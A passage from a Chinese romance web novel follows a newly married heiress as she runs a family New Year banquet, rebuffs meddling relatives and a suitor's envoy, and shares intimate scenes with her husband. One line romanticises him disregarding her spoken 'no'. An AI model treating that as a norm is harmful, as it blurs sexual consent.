当时蒙宗友嗔怪地点了点她,说:“给叔叔的竞争对手站台,小禾苗你自己说说,准备怎么补偿叔叔?” 这自然是一句玩笑,但这会儿梁奚禾假意抱怨,借着这个话题打破安静。 闻言,孟淑慧笑了,从善如流地问:“那禾苗准备怎么一碗水端平?” 梁奚禾故作苦恼:“他跟我爸是多年好友了,看着我长大的,恐怕不能端平,我得偏爱一点才行啊。” “那嫂嫂准备怎么偏爱?” “我问他,不然我给您画幅巨型漫画挂在大堂?他立马就找我爸碰杯,把话题岔开去了。” 三个人都笑起来。 孟淑慧:“那他可错过了一副佳作。” 姚以涵扬起头:“嫂嫂也喜欢画画吗?那你跟妈妈算是志趣相投啦。” 就画画的话题闲聊了两句,孟淑慧又说回端水的事儿。 “那把孟家的贺岁晚宴放在他的酒店,你看如何?” “贺岁晚宴?”两个小辈异口同声道。 梁奚禾是第一次听说贺岁晚宴,而姚以涵则是惊讶今年的晚宴,妈妈是打算亲自操办吗? 孟淑慧跟梁奚禾解释了孟家贺岁晚宴的传统,说道:“我跟奚总商量过了,今年会邀请新亲一起参加。” 孟家的新亲自然指的是与梁家交好的亲戚朋友。今年是他们结婚的第一年,应该隆重一些。 “禾苗,我想今年的晚宴以你的名义发放邀请函,奚总也同意了,你觉得怎么样?” 婚礼因为要择吉日,会安排在来年的下半年。孟淑慧觉得太过久远了,婚礼之前,梁奚禾肯定有很多场合要应对。虽然外界都知道梁孟联姻的事,但没有郑重的亮相,总觉得缺少什么。 因此,她想让梁奚禾以孟氏女主人的姿态现身贺岁晚宴。 梁奚禾对这种场合不感冒,可既然是孟家的传统,她也不方便多说,只说:“我无所谓,你们看着办就好。” 孟淑慧笑道:“你不能无所谓,这场晚宴,你来操办。” 梁奚禾:“……???”。 次日一早,一家四口吃过早饭,满觉院的客厅就候满了人。 趁漱口的间隙,梁奚禾将孟翰泽拉到卫生间,窝进他怀里:“孟总,你看看我,现在是不是一个头两个大了?” 她将下巴抵着他的胸口,葡萄眼耷拉着,楚楚可怜。 孟翰泽已经在餐桌前知道了来龙去脉,这会儿一边享受她难得的撒娇,一边捏捏她的脸颊柔声哄道:“不要有压力,阔姐和梅姐会搞定的。” 孟淑慧不会让梁奚禾亲力亲为,将孟家大大小小的管事叫过来,是有“交钥匙”的意思,让人知道,往后梁奚禾这位孟太太说话是管用的。 梁奚禾改用额头抵着他的肩窝:“我找你是想让你替我干活的,怎么变成我打两份工了呢?” 今早孟淑慧跟奚云岚通气,说晚宴开始筹备了,奚云岚那边也大刀阔斧地将梁家那边的主事权交给了女儿。 公司的事她不想管,晚宴的事推不掉了,然而就好比前朝后宫息息相关,这人情往来的事也很复杂啊。 元旦假期,梁奚禾被迫活力满满地见了孟家的管事,又回家见了梁家的管事,同时,到手了两家的公账。 高阔和梅姐一直跟在她身边,像左右护法似的。 假期结束,上学的上学,上班的上班,都恢复了正常的节奏。梁奚禾白天到公司坐班,下班后到东楼跟二位管家开会。 高阔:“我建议我们第一步,定个章程,比如预算多少,两家怎么拆。” 梅姐:“那要先定宾客名单,餐饮预算得按人头来算,拆分比例就看两边的嘉宾人数吧。” 两人看向梁奚禾。 梁奚禾吃着酸奶碗,看着漫不经心,心里已经迅速拿了章程:“老一辈的宾客名单我找两个老妈商量,年轻一辈的你俩今晚拟一份给我,明天我们敲定。 “阔姐负责对接M.酒店,就定他们最大的宴会厅,还有找策划公司,做几个方案报价。 “梅姐负责对接餐饮,惯例用的菜品今年沿用,让后厨再出几道新鲜菜式,有需要就联系倪家。哦对了,甜品台就找夏初……” 梁奚禾说完抬头就见两人目光灼灼地盯着自己,迟疑道,“我说的,哪里有问题吗?” 高阔先笑起来:“当然没问题,太太说的怎么会有问题?” 梁奚禾:“……你好好说话。” 高阔:“我是好好说话啊,禾苗,你不觉得你这有条不紊的样子,挺有当家太太的范儿的吗?” 梅姐:“没错。” 梁奚禾唇角一勾:“我指挥你俩打游戏的时候,不就领导力满满了吗?” 大致方向商量出来,三人心里有数了,底下还有那么多管事协助,事多不愁。 说到游戏,梁奚禾的瘾头来了:“好久没跟你们一起玩了,玩会儿吧。” 这一玩就玩到了快十点,门铃响起,三人才惊觉这么晚了。 “一定是翰泽来抓你了!”高阔调侃了一句梁奚禾,就踢踢踏踏地跑去开门。 门外果然是孟翰泽,他坚守着不进入她私人领地的约定,站在门外不进去,只皱着眉问:“禾苗呢?” 梁奚禾还没尽兴,刚想说她今晚在东楼睡,手柄就被梅姐收了回去。 “这游戏两个人刚好,三个人太多了,你快走吧。” 梁奚禾:“?” 这谁的房子? 怎么她变成多出来那个了? 高阔将设备都关了,装模作样打个哈欠:“啊呀,肩颈好累,睡了睡了。” 梅姐马上起身:“我给你按按。” 梁奚禾:“……” 她觉得自己确实有点多余,而后像被家长抓包的小孩似的,磨磨蹭蹭地跟着孟翰泽回了西楼。 “她们肯定没睡,又重新开机玩了你信不信?” 孟翰泽抬手握住她的后颈,轻轻地揉捏。 “她们不带你玩也正常,你的搭子是我。” 说起搭子,他有点怨念,自从涵涵放假,她丝毫想不起来他。现在妹妹回学校去了,她又跟阔姐她们混在一起。 孟翰泽:“明天争取通关。” 梁奚禾想也没想:“明天我没空陪你,等宾客名单定了,得把策划公司定了。” 她白天在办公室不要办私事带坏头,只能晚上做这些。加班啊,太苦逼了。 孟翰泽瞥了她一眼,最近两人相处的时间被压缩了太多,甚至他都被迫独守空房,如果再放她回东楼,他不见得每天都能像今天这样把人捞回来。 可以预见她会说“你自己回去吧,我要睡自己房间”,“太累了,懒得过去了”…… “你们这样没效率。”孟翰泽道,“预约个视频会,把各方都叫在一起,你听他们各自汇报,再让他们讨论工作衔接。” 梁奚禾眼睛一亮:“好办法。” “那就这么定了。我让阔姐明天在书房加一把椅子。” “我书房吗?” 梁奚禾有点想不起她那个书房的布局,好像就进去参观过一次。 孟翰泽:“以后你用我的书房跟他们视频。” 梁奚禾:“啊?为什么?” “都视频了,你还大老远跑去东楼做什么?” 梁奚禾:“……” 他这么说,好像有点道理…… 从某种意义上来说,拥有不内耗这种难能可贵的品质的人当老板,绝绝子。 梁奚禾就是这样,宾客名单敲定后,第三方做了几稿策划方案提交上来,第一次视频会议,她就选了一个心仪方案,然后提出了五个修改建议。 第二次视频会议,被毙怕了的策划公司,在她心仪方案的基础上,又做了两稿优化方案作比选。 策划公司负责人使尽浑身解数打听梁大小姐的喜好,综合各方消息才做的方案,他对自己有点信心,但汇报完毕后不自觉地紧盯着屏幕,观察梁大小姐的反应。 梁奚禾:“优化方案还有planB,看来你们还挺认真的。我选第一个,你们把预算表细化一下,尽快交给高管家。” 负责人松了一口气,就见梁大小姐爽快地退出了会议室,由底下人来跟他们对接细节。 孟翰泽还在回复一个工作邮件,梁奚禾已经合上笔记本电脑,椅子转了过来面向他。 “好了?” “嗯啊,我效率高吧?” 她把头靠在他肩膀,看向他的屏幕,一目十行地读完他的回复,她笑道,“让我想起了网上发的皇帝朱批。朕知道了,朕很健康,你看着办……哈哈,很多底下人战战兢兢的问题,在上头其实都不是事儿。” 孟翰泽:“是不是觉得决策层也不过如此?” “那没有。” 梁奚禾摇了摇头,发丝蹭得他脖颈微痒。 “公司的经营影响多少人的生计,必然得是孟总这样能干的人才能做出正确的决策。我只是想吐槽有些人明明自己能力不够做不出决策,偏偏反反复复地折磨底下人。” 她这番与牛马感同身受的话里意有所指,孟翰泽问:“谁?” 梁奚禾指指他处理的工作邮件的发送者:“安办这位经理咯。一个安全培训通知,已经来回改了三四次。” 她负责内宣,安全培训当天要跟同事去摄影,并向安办收集文字资料,所以全称为安全管理办公室会将培训通知发到他们。 这段时间,梁奚禾虽然稿子以前没写,但跟各个部门包括车间的对接工作一项没落下。如今她对羲和特材的研发、生产、销售等各条线都算熟悉了。 “据我所知,安全培训应该是定期做的,也有标准规范作依据,他哪来这么多事儿啊。” 梁奚禾无心的一句吐槽,孟翰泽却深思了几分,羲和特材在属于打天下的阶段,高层的心思都在开疆拓土,在安全生产这一块对底下过于放心了。 “我困了……你还要多久,我们今天还能不能通关了?”梁奚禾娇滴滴地说道。 孟翰泽敛了思绪,将邮件回复存了存稿箱,合上了电脑。 “你不加班了吗?”她问。 孟翰泽侧过头亲亲她的额头:“先去玩,等你睡了,我再处理。” “啊?” 等她睡了,那都几点了? 梁奚禾惊讶,又福至心灵地想起来问,“你之前就是这样?” 孟翰泽云淡风轻地“嗯”了一声,起身将她拦腰抱起,笑道:“先通哪关?” 梁奚禾没有秒懂他隐晦的开车,环着他的脖颈,兀自震撼着。 第48章 腊月廿七,下午五点整,夏初坐着虞高旻的车,准时出现在双子大厦楼下。 今晚,大厦单独辟出一个地下停车场入口供晚宴宾客使用。这会儿,宾客陆续抵达,地库门口开始排队但秩序良好。 虞高旻踮着油门,跟前车保持一定距离,匀速前行。 夏初望了一眼后视镜,社会车辆与宾客车辆有序错开,互不干扰,她欣慰地笑道:“禾苗第一次操办这么大的活动,考虑得还挺周到,连交通导流方案都做了。” “当然,能在孟家和梁家手底下做事的都不是普通人。” 虞高旻随口接道,拨动转向灯,打了一把方向盘,驶入坡道。 夏初凉凉地瞥过来:“承认禾苗能干很难吗?” 虞高旻冷汗直冒,一紧张差点油门当刹车踩。 “禾苗当然能干了!”他马上圆回来,语速飞快,“这不是拐弯了,我没来得及说后半句嘛。我是说啊,能让这群能干的兵指哪儿打哪儿,禾苗了不起!” 夏初靠在椅背上不语。 最近爸爸放弃了说服我行我素的夏末加入公司,在继承人的考量中终于正视她。她无意跟弟弟争夺家产,也真心实意地规劝弟弟不要不务正业。 夏末反问她:“什么是正业?” 他说夏氏是她和爸爸的事业与理想,不是他的,那么对他来说,加入公司才叫蹉跎。那副桀骜不驯的样子竟然跟梁奚禾一模一样。 随后他又问她:“姐,你已经能够带着夏氏更上一层楼了,难道你从来没想过接班?” 夏初垂眸,她怎么没想过。可爸爸的期待不在她这里,股东们也没把她放在眼里。 这次,她托梁奚禾的福,谈妥了和倪家的合作,就像夏末说的,夏氏百尺竿头更进一步了,可他们依然认为,并不是她有能力,而是她有梁家的关系。 怎么他们辗转攀上交情就是宝贵的“人脉”,到她这里就变成走后门了? 承认女生的能力,很难吗? 虞高旻按照保安指引停好车,打量夏初神色:“生气了?” 夏初敛去心思,她不会跟包括虞高旻在内的倾诉这些。 “没有,走吧。” 下了车,夏初熟门熟路地往电梯间走。夏家负责今晚的甜品台,她知道是禾苗特意给她留的曝光,所以下午亲自过来布置了,确保没有问题才离开去换晚礼服做妆造。 电梯内,虞高旻将臂弯给她,示意她挽着自己。 夏初看他一眼,抬手轻轻挽住。 虞高旻唇角没摁住,翘得有些明显。 夏初没什么旖旎的心思:“我不会一直陪着你。” 她今晚一来要社交,禾苗昨晚特意给她来电话讲过一些重量级嘉宾,孟家和梁家的关系网不是谁想进就能进的,她要抓好机会,不浪费闺蜜的苦心。另外,她还要分神注意甜品台,确保不出纰漏。 “你忙,需要我做什么随时吩咐。” 虞高旻夹紧了她的手。 她肯跟他公开地出双入对,他已经很满足了…… M.酒店最大的宴会厅是西式的装饰风格,厅内的水晶灯美轮美奂。 宾客们在宴会厅门口签到后,就有侍者引领就座。 晚宴按照惯例是中式的,圆桌围坐,一共席开60桌。这还是年关将近,没请太多外地朋友的数量,可以想见将来婚礼时的宾客如云。 夏初和虞高旻的位置靠后,离主桌相当远,她远远地看到梁奚禾被一位阿姨拉着说话,孟翰泽则在宴会厅门口迎宾。 六点整,宴席正式开始,孟淑慧起身说祝酒词:“首先,我代表孟家欢迎各位亲朋好友的到来……” 夏初听到同桌的一个女生“哇塞”了一声,随后跟旁边的人悄声交流:“往年不都是姚董说话吗?” “我听说,姚董要失势了……” 夏初下意识地眺望主桌,看不清姚德平的表情。 “众所周知,孟家今年有一件天大的喜事。翰泽结婚了,我又多了一个孩子,和梁董贤伉俪成了亲家……” 梁奚禾抬眸看向难得盛装的孟淑慧,一身酒红色的桑蚕丝旗袍,上面是精美的苏绣,在水晶灯下流光溢彩,让她整个人都发着光。 她始终不明白婆婆为什么不能潇洒地离婚,她心疼,但转念一想,韬光养晦也好,卧薪尝胆也罢,总好过饮泪吞声。 “愿我们年年有今日,岁岁有今朝,身体健康,友谊长存!干杯!” 梁奚禾笑着随之举杯,孟翰泽将酒杯递过来与她的杯子轻轻相碰。 传统的中式酒席,吃了几口,孟淑慧就和梁茂林商量要带着两个孩子去敬酒。奚云岚随之起身,姚德平以养生不喝酒为由坐着没动。 主桌上除了他们两家,还有姚德容一家。梁茂林和奚云岚因这是孟家的贺岁晚宴,特地交代梁奚禾不用将他们地兄弟姊妹安排在主桌。 姚德容带着全家堂而皇之坐下来时,鼻孔都是朝天的。孟翰泽娶了厉害的媳妇又如何,如今她哥哥是孟氏掌权人,谁也别想越过了她去。 等几人一走,主桌上便剩下了他们姚家人。她端着酒杯坐到孟淑慧的位子,靠着哥哥道:“哥,这些年你辛苦了,以后多注意身体。” 话说得窝心,姚德平露出柔色,端茶与她碰杯后,说道:“路,我这当哥哥的已经给你们铺好了,以后怎么走就要靠你们自己了。” 眼风扫过姚德平的丈夫和儿子,两人忙不迭地点头。 姚德容喝光杯中酒:“放心吧,你妹妹什么时候给你掉过链子。你让小嫂子布局港城的生意,她也喊上我一道了,咱们姚家齐心协力,做大做强。” 听她提到邵珊珊,姚德平的脸色不像从前那么好看。他这几天吃着她准备的色香味俱全的菜色,总是控制不住地想起梁奚禾的那句“吃得好不好跟吃得健不健康是两回事”,看着积极给他夹肥肉的邵珊珊就多了几分打量。 他是喜欢吃肥肉,但她要是真关心他,不该拦着一点吗? 姚德容察言观色,揣摩着姚德平的心思。大概是孟淑慧始终不能容下邵珊珊,哥哥他心里苦。 她心思一转,看向不远处敬酒的几人。孟淑慧今晚把梁奚禾推出来,看来以后是准备让儿子儿媳独当一面了。 她暗笑,哥哥还愁什么,孟淑慧接受不了邵珊珊,两个小辈多少得给姨娘一点薄面吧。小的要是把邵珊珊请进门,她孟淑慧还能跟自己的子媳翻脸不成。 晚餐后,偏厅准备了西式的派对。有事的客人可以先走,愿意留下的就再热闹热闹。不过,今年云集了宁市所有有头有脸的人物,算是两大阵营全面破冰元年,没什么人早退。 偏厅里“济济一堂”,大家不用再局限于座位安排,随意走动,攀谈。 梁奚禾自然是今晚的焦点,应酬着一波又一波的阿姨姐姐妹妹,笑得脸颊都有点发酸。 姚德容心不在焉地应付了几位太太,瞅着空档前去找她。 “奚禾!” 对于这个称呼,梁奚禾很是陌生,反应了两秒才转身,抬头先对上姚德容身后一张熟悉的脸。 胡威的妈妈,那位陈阿姨热情笑道:“没想到禾苗你这么能干,让大家今晚都吃好喝好十分尽兴。” 梁奚禾不去想她话里的未尽之意,没意思,只疏离地笑笑:“尽兴就好。” 姚德容顺势接着话题道:“你是尽兴了,我可一直提心吊胆着呢。” 话是冲着陈阿姨说的,陈阿姨面露惊讶地“啊”了一声,问:“你做什么提心吊胆啦?” 梁奚禾扫了两人一眼,静静地看她们表演。 姚德容装模作样地叹口气:“这不是今晚少了一个人嘛。”看向梁奚禾,语重心长地说道,“奚禾你刚刚嫁到这家里,很多事不了解也正常,以后有空多找姑姑聊聊。我今天看你公公脸色黑得,都快吓死了。” “哦?”梁奚禾挑眉,“姚董又觉得胸口憋了?那您怎么光顾着担心,也不打120?” 姚德容:“不是不是。我是说啊,你漏请了一位重要人物。” 梁奚禾:“谁?” 姚德容一副“你看我就知道你不知道”的表情,朝梁奚禾勾勾手指:“你过来点,姑姑跟你说。” 梁奚禾脚下没动:“既然是保密人物,那就不用说了。失陪。” 她懒得再应酬她们,转身就要走。 姚德容一把拉住她的胳膊:“你这孩子怎么这么没耐心啊?你连邵总都不知道,以后怎么在这个家混,姑姑一番好心,你怎么不领情呢?” 敲定宾客名单的时候,奚云岚交代过姚德平那个姘头叫邵珊珊,如今是什么公司的总裁。 梁奚禾脸色冷下来,拂开了姚德容的手,陈阿姨见状上来劝:“禾苗,姚总说得不错,邵总是姚董放在心尖尖上的人物,你以后免不了打交道的,别踩了雷。” 梁奚禾笑起来:“看来我明年还得重新将名单掂量掂量。” 姚德容和陈阿姨相视一笑,下巴微抬,露出志在必得的神色:“当然,听姑姑的,准没错。” 梁奚禾将不远处的梅姐唤过来,掀起眼皮:“看清楚了吗?明年别放糟污的东西进来。” 姚德容和陈阿姨不约而同脸色黑了下来。后者没想到梁奚禾这么刚,当下顾不上姚德容画下的大饼,不敢再当捧哏。她嘴里发苦,如果不是奚云岚太难靠近,她也不会奉承姚德容去。 姚德容却无所畏惧,她在孟家作威作福多年,连孟淑慧都敢欺负,此刻更不怕梁奚禾了,大有嚷起来看谁更丢脸的架势。 梅姐已经率先搭上了她的肩膀,看似亲密的搭肩,实则用力地捏住了,姚德容吃痛,声音吞了回去。 梁奚禾上前一步,她个子高,眼神凌厉,两人竟被威势吓得吞咽了一下。 “看来,你们不懂尊重人,更不明白女人何苦为难女人的道理。 “还是你们觉得渣男出轨是多么让人骄傲的事? “不如明天我就让人查查你们老公,要是有姐妹,就替他接回家跟你们作伴,怎么样?” 两人说不出话。 梁奚禾:“再踩别人伤口,小心孽力反噬,感同身受。” 第49章 梁奚禾不再理会二人,转身就走。 陈阿姨搬了块赌石却砸自己的脚,赔了夫人又折兵,懊悔得不行,见姚德容愣怔在原地,也没打招呼,默不作声地退了开去。 姚德容胸口起伏难平,这么多年她何曾受过这种气,尤其对方还是晚辈。 她无意识地捏起拳头,甲片嵌进掌心疼得很,片刻后,她重重地哼了一声,双目漏火地去找姚德平。 姚德平自恃身份,坐在沙发上并不走动,有人过来打招呼便应酬几句。刚打发走一波人就见自个儿妹妹怒气冲冲地拨开人群走过来,到他跟前又变化作委屈要哭的姿态。 万花丛中过的姚德平对这点伎俩并不陌生,对他露出这副姿态的女人不少,端看他想不想接招。而对亲妹妹,他又更多了几分耐心。 姚德容挨着哥哥坐下,觑着哥哥的神色添油加醋地将刚才发生的事说了一遍。 果然见哥哥的脸色黑得就像滴下墨汁,她心里爽快,那小丫头片子真当她好欺负呢! “哥,她是梁茂林的女儿,瞧不起我我也认了,可她说你是出轨的渣男,这不是大逆不道是什么?!完全不把我们姚家放在眼里!你说,趁今天大家都在,要不要教训教训这丫头?” “出轨的渣男”几个字重重地敲在姚德平的耳膜上,他太阳穴突突直跳。 耳边萦绕着高雅的古典音乐,他的视线扫过宾客如云的偏厅,所有人都身着礼服,拾掇得体体面面的。 就算当年的事是他做得不够体面,以他今时今日的地位,谁敢在今天这样的场合提起?他不信最讲究姿态的梁茂林和奚云岚,会生出这么讲没眼力见的话来的女儿。 姚德平掀起眼皮瞥了一眼跃跃欲试的姚德容,冷哼了一声:“刚跟你们说过,以后路怎么走要靠你们自己,转头又忘了?” 姚德容一愣。 “哥……” “别叫我哥,以后我们家的事你少掺和,好自为之吧。” “不是!”姚德容急了,声音也大了一倍,“哥,好端端的,你跟我翻什么脸啊?!是……” “别以为我不知道这些年你两头挑,怎么,想让她们都奉承你讨好你拉拢你?” 姚德平说着,脸色越发冰冷,如果不是他这个妹妹,没准孟淑慧也就看开了,接受邵珊珊母子,他又何必夹在中间受这闲气。 姚德容莫名其妙,简直欲哭无泪,只能掐了自己一把,将眼眶逼出一点红意:“哥,我什么时候两头挑了?我是替你两头哄好不好……” “用不着。”姚德平抬起下巴,冷漠得紧,“管好你自己家的事,以后少在我面前晃。” 如今,他正试图与发妻修复关系,不能再放任姚德容四处蹦跶。 “再让我知道你去找淑慧,或者孩子们,你丈夫儿子就别干了。” 姚德容不禁颤栗了一下。她这位亲哥早年不顾所有人劝阻,执意入赘孟家,后来又掌了大权,从来不是好相与的人。 她清楚,所以再不敢多说什么,转而柔声道:“你放心,以后不该我操心的事,我绝不多操心。”。 走出几步,梅姐问梁奚禾:“真要查那俩的丈夫?” 梁奚禾微笑着与交错而过的某个阿姨打了招呼,才回答她:“我闲的啊?放狠话而已。” 梅姐笑起来:“我想你也没有这份闲情逸致。” “当然,谁跟她们一样脑子比时间更空。” 践踏另一个女人的自尊心来捧高一个连基本的礼义廉耻都没有的男人,以此获得所谓的“资源”,她们真的觉得自己赚了么? 物尚且伤其类,命运的回旋镖绕过谁? 两人有一搭没一搭地聊着,高阔体态克制,脚下却匆匆地来寻她。 “怎么了?” 高阔看了梅姐一眼,站到梁奚禾另一边,贴近她,小声说道:“东楼地面广场上有人用机车摆了一个爱心,天上还有无人机在列队,好像要表白。” 梁奚禾莫名其妙:“所以呢?” 跟她有啥关系? 高阔看了她一眼,抿了抿唇:“保安说,那人说要跟梁大小姐表白,就没敢往外赶……”话音越来越小,“我问了翰泽……不是他……” 梁奚禾:“……” 又问,“所以呢?” 高阔眼睛微微睁大,下意识地问:“你要不要去看看?” 梁奚禾:“?” 瞅了她一眼,“这位姐姐,我结婚了。你都说了不是老公要表白,我去看什么?” 道理是这么个道理。 刚刚急匆匆赶来的高阔,被梁奚禾这么一说,也觉得这确实不是啥紧急情况,瞬间放松了下去。 但是……这人到底是不知道梁大小姐已婚,还是明知道梁大小姐已婚要来抢婚? 她摸摸下巴:“你就不好奇吗?” 梅姐也算看着梁奚禾长大,替她答道:“她不会好奇。” “为什么?”高阔没有被当众表白的经验,“总是有点开心的吧,你就没有一点点虚荣心?” “没有。” 梁奚禾斩钉截铁地说道,“一个男人喜欢我,我就很光荣吗?完全不觉得。恰恰相反的是,要是被一个很讨厌的男人喜欢,我会恶心到。” 高阔翘起大拇指:“那我让保安赶走。” 梅姐拉住她:“赶什么赶,搞得我们禾苗心虚似的,就让他们演独角戏去,谁还没几个脑残粉呢?” 高阔:“……” 梁奚禾一笑置之,没放在心上。 结果等她从洗手间补完妆出来,就被人拦在了走道里。 这里是宴会厅内单独使用的洗手间,不会有外人进来,在做安保方案的时候,考虑到宾客的隐私,梁奚禾并没有在这处角落安排保安。 谁知,这会儿她本人被人拦住了去路。 梁奚禾扬起下巴看向来人:“胡威,如果你是来替你妈妈向我道歉的,那我明确地告诉你,我不接受。” 胡威根本不知道刚刚发生的事,“啊”了一声。 梁奚禾已经斥了一声:“让开!” 他才猛地想起自己来找她的本意:“禾苗,郭凯诚来了,就在楼下,你见见他吧!” 早就想不起这号人的梁奚禾:“……” 她想敲开胡家这对母子的脑袋看看,里面装的到底是浆糊还是稻草。一个比一个离谱。 她气极反笑:“你们家是被安了什么‘说客’系统吗?不帮别人当说客是会破产吗?” 胡威叹气:“是的,会破产。” 家里并不支持他创业,郭凯诚如今是他的投资人,他怎么敢不帮资方爸爸当说客。 梁奚禾:“……” 胡威继续道:“禾苗,我知道你现在跟孟总挺好的。但我也是没办法,我求求你了,你去见见他吧,有什么话当面跟他讲,我不想再当传话筒了,你就当看在我的面子上……” 梁奚禾打断他:“第一,我从来不需要你当什么传话筒。” 又伸出一个手指,“第二,你在我这里,没什么面子,千万不要给自己脸上贴金。 “第三,你破产不破产,跟我没什么关系。哦也不一定,那应该就是我很生气,上一次开车逼退你,这一次可能不会亲自动手,会找人狙击胡家。” 胡威脸色一白。 梁奚禾继续道:“郭凯诚不好得罪,你以为梁奚禾就可以随便拿捏吗?” “胡家,记住了吗?” 拐角处突然传来一道低沉的男声,两人一起抬眸望过去。 孟翰泽正看着他们这边,话却是同他身边的高阔讲的。 梁奚禾上个洗手间迟迟没有回去,他不放心过来看看,因不方便进去女生洗手间,他把高阔叫上了。 高阔已经从梅姐那里听说了胡威的妈妈跟姚德容沆瀣一气的事儿,这会儿又碰上胡威搞得这一出,闻言立马点头,特意扬声道:“既然不是朋友,明年自然不会再邀请。” 胡威吓得腿都软了,他的事业还在萌芽中,家里主要还是靠他父亲的事业。要是今晚梁孟两家将他们剔除名单,也就意味着以后不会再合作,就算他们不会赶尽杀绝,胡家也将无法在宁市立足。 他飘飘忽忽地朝孟翰泽走近两步:“孟总,您误会了……” 孟翰泽没兴趣听他辩解,拔步朝梁奚禾走去,揽住她柔声问道:“累不累?” 梁奚禾:“累!” 与傻瓜论短长,极累! “那就上楼休息,这里有我。” “那不行!我得有始有终啊。” 两人看都没看胡威一眼,携手离开。 高阔好整以暇地瞅着瘫在墙上的胡威一眼,说道:“你们母子俩怪有意思的,怎么总想着给人家两口子中间多塞个人呢?脑残是会传染,还是会遗传?” 胡威涨红了脸,不敢辩驳半句…… 晚宴圆满结束,梁奚禾回到西楼,卸妆洗漱过后倒头就睡,累得一夜无梦。 第二天醒来时,已经日上三竿。 因是周末,孟翰泽难得的没有早起。他早醒了,看着她窝在自己怀里睡得香甜,便没舍得挪动手臂,怕吵醒她,一直闭着眼假寐。 她一动,他就睁开眼睛,吻在她的唇上:“早上好。” 梁奚禾身上没什么力气,穿着高跟鞋站了一晚上,小腿尤其酸胀。 她完全窝进他怀里,将腿伸过去,蹭着他的腿,拿他当泡沫轴。 孟翰泽:“……” 早上本来就敏感,她又是贴贴,又是蹭蹭的,他本来就在暗自克制的反应彻底抬了头。 梁奚禾察觉他的变化,腿上动作一停。 虽然她也挺想要的,但是,更高层次的愉悦感也要追求啊。 她攀着他的肩膀咬耳朵:“所以,你有学艺吗?” 声音还带着刚刚苏醒的沙哑,就跟好几次事后的声音一样。 孟翰泽喜欢这种声音,更喜欢这种声音是由于自己。 他不答反问:“你想我怎么学艺?” 梁奚禾:“……” 看片啊,难道还用她教? 她尚未说话,他已经又说道,“我无意看别人的赤身裸体,非礼勿视。” 说着就握着她的肩膀,将她推出几分,随后低头强势吻住了她。 梁奚禾:“……” 她的字字句句都被堵了回去,也不知道是不是这段时间大家忙得没有时间一起寻开心,今早的孟翰泽有点让人生畏。 她不知道自己是害怕这种令人窒息的潮涌,还是喜欢这种一浪更比一浪高的感觉。 思绪区分不了,身体却相当诚实,很快她便控制不住地泄出难耐的声音。 孟翰泽无师自通,从前她说“不”的时候,他会急着卸劲,如今已经学会不去听字句,只从她的音调里找节奏。 去制造那种他喜欢的沙哑。 第50章 孟翰泽将兜满的小雨伞处理掉,回身想抱梁奚禾去冲洗。 梁奚禾侧身一滚,躲开他的臂弯。她原本只是小腿酸胀,这会儿一路向上至腿根都在发酸。即使全身腻着汗意,她也懒得动弹,只想安安静静地躺一会儿。 虽然她时不时在督促孟大总裁学艺,虽然他还没有学会十八般武艺,可是,他对她的身体已经越来越了解,也能凭着最朴素的技巧让她沉浸、激动,当然还有痛快。 孟翰泽拿她没办法,取了一件干爽的浴袍将她整个包裹住,之后也躺回床上,从后面将她揽入怀中。 他接触到她的身体时,梁奚禾感觉体内残存的电流似乎又被激活,开始游走,令她不自觉地震颤了一下。 孟翰泽埋首在她的颈侧,萦绕鼻端的香气让人着迷,他深深呼吸了一下,问道:“还满意吗?” 梁奚禾没说话,颈部的皮肤触及他的故意,太敏感了。 孟翰泽没想做什么,只锲而不舍地问:“不满意吗?” 梁奚禾:“……” 两人身上都很黏腻,但很奇怪,她并不想推开他,反而更想靠近,与他黏得更紧一些。 她有些心不在焉,声音哑哑地开口,“有进步。” 似乎多夸一句就怕他会骄傲。 孟翰泽不在乎答案,或者说从她的声音里已经明白答案。听到自己喜欢的声音,他忍不住轻笑,也不在意她的嘴硬。 安静地温存了一会儿,怕她饿久了胃疼,他把人抱起来去洗漱。 浴室里水汽氤氲,梁奚禾看着这男人,耐心地替她清理,忍不住将手指插。入他的发丝中。 “孟翰泽,你的耐心会维持多久?” 她意识到自己将这话问了出来时,他已经抬头。 “什么?” 花洒的水流掩盖了她的声音,他听到了,但并不确切。 可梁奚禾并不想重复一遍,她只是单纯好奇男人对一个女人的新鲜感能维持多久,再问一遍显得很矫情,就像恋爱上头似的。 “没什么。” 孟翰泽起身,将花洒关小一些,耳边安静了稍许。他低头,认真地对上她的一双葡萄眼。 “宝贝,我不太擅长浪漫,但如果比耐心,我绝对不会输。” 最亲密的时候,他会喊“宝贝”,梁奚禾听过好几次。可此时听来,不知为何她会觉得更加旖旎。 陷落在他如深潭般的眼眸里,她几乎下意识地就环着他的腰,窝进了他的怀里。 她变得越来越喜欢跟他肢体接触,孟翰泽心里有惊喜,更有满满的甜意。 可她说的话依然冷酷。 “你要跟谁比耐心?不会令尊吧?” 孟翰泽:“……” 上梁不正,怀疑他这根下梁歪,也无可厚非。 他无奈地叹了一口气:“禾苗,如果非要论基因,我一定是隔代遗传。还有,我姓孟,除了基因,还有家风……” 梁奚禾:“……” 逗他玩儿的,怎么还为自己辩护起来了呢? 两人坐到餐桌边的时候,厨房做的鸡蛋软饼令梁奚禾食欲大增。今天的白粥又配了腐乳,是阔姐强烈推荐的佐粥极品。 这东西齁咸,她用筷子夹了米粒大小放入口中,迅速舀了一勺粥。正细细地感受着个中滋味,孟翰泽忽然开口。 “我没想到竞争对手这么会玩。禾苗,撇掉这个人的因素,你喜欢这种方式吗?” 昨晚自己老婆被人表白,孟翰泽心里不爽肯定是有的,虽然把这件事的处置权交给她,但私下里肯定找人去查了。加上散场前,胡威特地来找他解释,她跟这位郭凯诚的渊源,他已经知道了七七八八。 一方面,知道她不喜欢郭凯诚,他悬着的心才放下。而另一方面,无论禾苗喜不喜欢这个人,同个圈子的玩伴是真,他嫉妒两人在英国就认识,早他好多好多年。 两人隔着六年的光阴,以现在四岁论一代的算法来说,他跟她都不算同一个时代的人了。 他想,难怪她总觉得自己无趣,说自己古板。机车、无人机,那些个花里胡哨的东西,他不会想到的。 他只会订制跑车,然后把车停在她的面前——就像卖车的销售似的,问她一句“喜欢吗?” 梁奚禾看他一眼,昨晚到现在,终于问了。他还以为他不会问了。 刚刚她疑问他有多久的耐心时,也是因为好奇他的淡定如斯。嘴上说着喜欢她,结果从天而降一个光明正大挖墙脚的情敌,他都没反应,她怎么可能不怀疑他说的喜欢是不是只是说说而已? 她笃悠悠地将食物咽下,淡定回答:“我不喜欢这个人,也不喜欢这种形式。” “觉得太高调?”他虚心请教。 “不是。” 